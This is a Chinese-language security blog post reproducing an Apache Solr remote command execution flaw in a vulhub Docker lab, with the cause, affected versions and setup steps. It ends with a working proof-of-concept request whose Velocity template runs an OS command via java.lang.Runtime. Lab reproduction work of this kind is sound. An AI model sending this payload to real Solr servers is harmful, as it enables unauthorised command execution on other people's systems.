Apache Solr 远程命令执行漏洞复现

Andrew 2020-11-23
Web安全 发布于 2020-11-23 11:53:17 阅读 173 评论 0

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1 漏洞说明

该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

No.2 漏洞影响范围

5.4.1/5.5.0
6.6.1/6.6.3
7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2
8.1.0/8.1.1/8.2.0

No.3 环境搭建

使用vulhub中CVE-2019-0193的环境进行搭建
启动vulhub环境:
git clone github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose up -d

接着访问对应地址可以看到,搭建好的镜像是没有集合的,所以我们需要自行创建一个集合:

通过 docker exec -it 容器ID /bin/bash 进入容器后执行:./solr create -c solr_sample 创建集合如下:

可以从重新浏览器访问一下solr admin,查看集合是否创建成功:

No.4 漏洞利用

确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true,请求如下:

修改完配置以后通过poc即可执行任意命令如图:

No.5 Poc如下

//修改配置poc

POST /solr/集合名/config HTTP/1.1

//远程代码执行poc

GET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

原创:呀小王呀 雷神众测
原文链接:https://mp.weixin.qq.com/s/vhCBGlwEInKNU42...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!